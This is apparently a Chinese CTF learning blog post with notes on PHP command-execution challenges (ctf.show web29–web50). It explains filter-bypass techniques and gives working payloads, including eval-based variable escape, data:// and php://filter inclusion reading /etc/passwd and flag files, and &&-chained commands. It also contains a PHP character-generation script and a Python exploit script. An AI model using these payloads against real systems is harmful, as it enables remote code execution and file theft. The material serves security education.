命令执行漏洞
命令执行漏洞
常用绕过
- 绕过php,flag等特殊字符:使用通配符
- 绕过system等执行函数:使用反单引号
- 过滤了. \ `等函数常用字符,但是没有过滤$和_,使用逃逸,c=eval($_GET[1])
- 最nb的是可以使用URL编码进行绕过,因为服务器会自动解一层url编码,所以可以对过滤掉的字符进行一次url编码
- 过滤了分号,最后一条语句可以不带分号,结束的标志为’?>’,则我们可以将两条语句中间需要分号的位置替换为’?>’,那么就可以使用两条语句
- 过滤了分号和括号,则必须使用语言结构,echo print isset unset include require,使用include加上php过滤器实现
- 文件包含题目:使用伪协议:data伪协议可以执行后面的php代码
- 过滤掉了字符和数字:使用url编码去代替字符,如果可以使用或运算,即可通过或运算去取字符,web41
- 如果是过滤掉了冒号,则是想要过滤掉使用伪协议的方法,那么我们可以先逃逸出去一个变量后再使用伪协议进行文件包含操作
- 绕过了eval和system等执行函数,我们可以使用data伪协议,data伪协议data://text/plain,可以直接执行后面跟着的php代码
- 如果不能直接访问flag.php,可以先使用mv flag.php 1.txt进行重命名之后再访问1.txt,从而cat到flag.php中的内容
- 当遇到了黑洞问题,可以使用双写绕过,例如?c=ls;ls
- 当遇到了黑洞问题,并且过滤了分号,可以使用&&来起到分号的分隔作用
- 当过滤掉了空格,可以使用其它的URL编码后的空白符:
空格 %26 + tab水平制表符 %09 回车 %0a或%0A
web29
cookie的概念
- cookie用于识别用户,cookie是服务器留在用户计算机中的小文件,每当相同的计算机通过浏览器请求页面时,它同时会发送cookie
isset()
- 检查变量是否为空,还要检查变量是否已经设置/声明
- 意味着必须声明,并且不为NULL,才能返回true
preg_match
- 使用正则表达式对字符串中的“w3schools”执行不区分大小写的搜索:
- 该函数返回是否在字符串中找到匹配项。preg_match()
- preg_match(pattern, input, matches, flags, offset)
php中的通配符
- 和Linux的通配符相同
- *可以代表任意个字符
- ?可以代表一个字符,对字符的数量有限制
system()
- system($shell,$shell_return);
- 函数的作用是执行内部的shell命令,并且在函数执行后,直接在终端窗口打印命令执行的结果
- 函数的返回值是命令的执行结果的最后一行
cp(from , to);
- 同linux的cp命令
题
- get传参,传给变量c,在变量c中使用preg_match来匹配flag,如果没有flag,就执行变量c中的语句
- 给c传值,用system函数产生回显,可以解析并执行
- 因为不能出现flag,所以使用cp命令给flag.php换个名字,这个地方cp是shell命令,并不是一个函数,所以没有类似于函数的传参形式
- 直接在路径后面使用文件名称来访问
web30
反单引号
- 反单引号在php中和system()函数相同,起到命令执行的作用
`cp flag.php 1.txt` //这个地方是反单引号 和 system('cp flag.php 1.txt') //这个地方是单引号 的作用是相同的
题
- 多了几个过滤
web31
preg_match中的转义
- \后面的字符代表转义,例如: ‘\.’ 即为’.’
逃逸
- 中间搭一个桥,使用超全局变量
题
- 过滤了更多,对’和.都有过滤
- 使用c=eval($_GET[1]);对c进行逃逸操作,这个变量1逃逸出去了,1不属于c,则变量1可以使用任何过滤掉的字符
- 构造?c=eval($_GET[1]);&1=system(‘cp flag.php 1.txt’);
- 在路径后面直接加上/1.txt,就可以查看到flag.php中的内容了,但是不能在system()中拼接cat 1.txt
- 当有新文件产生时,直接在url后面拼接上新文件的名字
- system()函数中传参一定要加上单引号,system(‘ls’),system(‘cp xxx xxxx’)
web32
include
- include语句获取指定文件中存在的所有文本/代码/标记,并将其复制到使用include语句的文件中
include require
- 希望在报错时继续执行并且向用户显示输出,使用include语句,因为当include语句包含的文件不存在时,只是产生一个警告,但是脚本会继续执行
- 而require引用的文件如果不存在,就会提示错误,并终止脚本的运行
include "header.htm";
- 上面的header.htm中可以php语句,因为可以包含html静态文件,所以可以设计缓存机制,比如把一些页面分为几部分,有一些读取数据库耗费效率的部分可以缓存为html,然后通过include
- 文件上传中include代码执行原理:
$i=include 'abc.php'; abc.php中源码为 <?php return "hello world"; ?> 那么echo $i;如果include中引用的源码中使用了return,则返回return中的返回值,如果没有,则返回1
题:
- 大致方法为按照文件包含的方法去做
- 空格绕过:使用url编码
- 因为过滤了反单引号,可以使用include包含执行代码去绕过
- 相当于是逃逸加上文件包含的传参方式
?c=include%0a$_GET[1]?>&1=/etc/passwd
- ,发现可以回显
- 可以使用文件包含的原理来实现,原理就是加上一个php的过滤器
- ,得到一串base64编码,解码即可获得flag
web33
- 与web32中的方式一样,这次也可以使用require
- 尝试?c=%0a$_GET[1]?>&1=/etc/passwd发现可以解析
- 加上过滤器,php://filter/convert.base64-encode/resource=index.php,找flag.php即可得到base64编码,解码得到flag
web34
isset()
bool isset ( mixed $var [, mixed $... ] )
- 用于检测变量是否已经设置,并且不为NULL
- 如果一次传入多个参数,那么isset()只有在全部参数都被设置时才会返回TRUE,计算过程从左到右,中途遇到没有设置的变量会立刻停止
- mixed $var为传入的变量
unset()
- 用于销毁给定的变量
void unset ( mixed $var [, mixed $... ] )
- $var是要销毁的变量
题:
- 过滤了冒号,为了过滤php伪协议形式的命令
- 分号和括号过滤,则只能使用语言结构,语言结构的函数:print echo isset unset include require
- 对于?c=print%0a$_GET[1]?>&1=phpinfo();只能出现
- 的字符:二进制数据段和代码段的区别关系,就是print没法像eval一样将字符当作php代码去执行
- 使用include就可以使用文件包含的方式去实现命令执行
对于get传参时不加单引号的问题
- $_GET[1]和$_GET[‘1’]
- $_GET[1]不加单引号可以起到php向下兼容的作用,但是后面可能会随着php版本更新取消这种写法
- 所以不确定php版本和是否被禁止,应该都试一遍
web37,文件包含
php伪协议
题目
- 发现是一个文件包含题目,考虑使用php伪协议
- 对于要包含php执行代码的文件包含题目,使用data://text/plain,伪协议可以绕过过滤了eval等执行函数的情况
?c=data://text/plain,<?php phpinfo();?>
- 执行上面的函数发现可以执行,满足fopen和include都开启的条件,则后面的php执行代码可以操作
?c=data://text/plain,<?php system("mv fla?.php 1.txt")?>
- 和过滤后缀的题目一样,重命名后再在路径后面直接添加1.txt即可访问到
- 有新文件产生在url后面拼接新文件的名字
web38
题目:
- 发现还是一个文件包含题目,考虑使用php伪协议
- 使用伪协议发现可以执行
- 继续执行将flag.php文件换名的操作,最后直接在URL后面加上新换名的文件即可查看到flag
?c=data://text/plain,<?= system("cp fla?.??? 1.txt");?>
web39
题目
- 发现只是过滤了参数c中的”flag“字段,还是一个文件包含题目,考虑是使用伪协议
- 按照上面的方式即可得到flag
web40
array_pop()
- 删除数组中的最后一个元素
array_pop(array)
- 其中array参数是必须的
- 返回值:返回数组中的最后一个值,如果数组是空的,或者不是一个数组,将返回NULL
print_r()
- print_r()函数用于打印变量,以更容易理解的方式展示
bool print_r(mixed $expression [,bool $return]);
- $expression为要打印的变量,如果是string,integer,float则会打印变量值本身,如果是array类型,将会按照一定的格式显示键和元素
- $return:可选,如果为true,则不会输出结果,而是将返回值的结果赋值给一个变量,false则直接输出结果,默认为false
<?php $a = array ('a' => 'apple', 'b' => 'banana', 'c' => array ('x','y','z')); print_r ($a); ?> 返回结果为 Array ( [a] => apple [b] => banana [c] => Array ( [0] => x [1] => y [2] => z ) )
<?php $b = array ('m' => 'monkey', 'foo' => 'bar', 'x' => array ('x', 'y', 'z')); $results = print_r ($b, true); // $results 包含了 print_r 的输出结果 ?> 这个则没有返回值,因为输出结果赋值给了results变量,$return的参数值设置为了true
next()
- next()函数将内部指针指向数组中的下一个元素,并输出
- 返回值为内部指针指向的下一个元素的值
- next(array)内部参数为array,是一个数组
current()
- 输出数组中当前内部指针指向的元素的值
- 每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。
- 该函数不会移动内部指针
end()
prev()
reset()
each()
- each()返回的不只是值,是键值对,并且将内部指针向前移动
get_defined_vars()
- get_defined_vars()函数返回由所有已经定义的变量所组成的数组
array get_defined_vars(void);
- 返回值:返回一个包含所有已经定义变量列表的多维数组,这些变量包括环境变量,服务器变量,和用户定义的变量
题目:
- 因为不能用$,所以不能使用之前的逃逸字符来绕过
- 考虑是否能通过打印变量,从变量中获取到信息
?c=print_r(get_defined_vars());
发现是通过post给这个数组传参,尝试加一个post值- post传参后回显
- 为了拿到array中的那个phpinfo()的字符串,rce一下,使用next函数将指针后移,并且形成了一个新的数组,这个数组的值为phpinfo(),键为它的键
- 为了拿到指针指向的那个值,弹出array_pop(),将会返回数组中的最后一个值
web41
或运算取字符
- %40 | %01 可以取到A,或运算是两个都为0才为0,一个为1则为1
- 计算机中保存URL编码是通过十六进制保存的
%40的二进制为0100 0000 %01的二进制为0000 0001 取或得到 0100 0001 结果从二进制转为十六进制,得到结果为65,转ascii码为A
生成可用字符的脚本
- 原理:从进行异或的字符中排除掉被过滤的,然后判断异或得到的字符是否为可见字符
<?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile);
python脚本跑
- 用法:python exp.py
- 传递参数getflag
# -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #没有将php写入环境变量需手动运行 if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)
题目
- 过滤了$,+,-,^,~,使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字,但是特意留了个字符|,最重要的是没有过滤掉%,所以可以使用URL编码去解决问题
- 可以从ASCII为0-255的字符中找到或运算能得到的可用的字符
- 跑脚本吧,虽然最后我也没解出来,但是思路是对的
web42
黑洞
- ‘>/dev/null’命令
- 目的是抑制各种命令输出的空设备https://linuxhint.com/two-dev-null-command-purpose/
web43
过滤掉分号,但是还是需要两条命令的情况
- 过滤掉了分号,但是还是需要两条命令
- 可以使用&&
- 当前面的语句执行结果为true时,会执行后面的语句,而且前后是分割的两条命令
- 遇到黑洞问题并且过滤掉了分号就可以用&&来起到分隔作用
- shell会执行第一个参数,将第二个参数带入到黑洞
if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); }
题目
- 发现有黑洞,并且过滤掉了分号,我们可以使用&&对两条命令进行分隔,成为两条命令
- 传参?c=ls&&ls ,并对&&进行URL编码,即传参?c=ls%26%26ls 可以查看到回显,那么我们可以修改第一条命令来得到flag,因为第二条命令进入了黑洞中
- ?c=tac flag.php%26%26ls得到flag
web46
当过滤掉数字和%时,URL编码中的数字不会被过滤
- 当过滤掉数字时,URL编码中的数字不会被过滤
- 因为URL编码在上传的过程中已经被浏览器解了一次码了,传到服务器的时候已经是字符而不是URL编码的数字了
- %同理
题目
- 过滤掉了数字,$和*,即不让我们使用数字,逃逸和任意字符数的通配符
- 我们可以使用?来代替*的通配符,URL编码中的数字会自动解码,不用担心
- ?c=tac%09fla?.php%26%26ls
web50
- shell特性:两个单引号分割字符串,中间执行会自动忽略
- nl命令:将指定的文件添加行号标注后写到标准输出。如果不指定文件或指定文件为”-“ ,程序将从标准输入读取数据。
- nl [选项]… [文件]…
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 h3110w0r1d's Blog!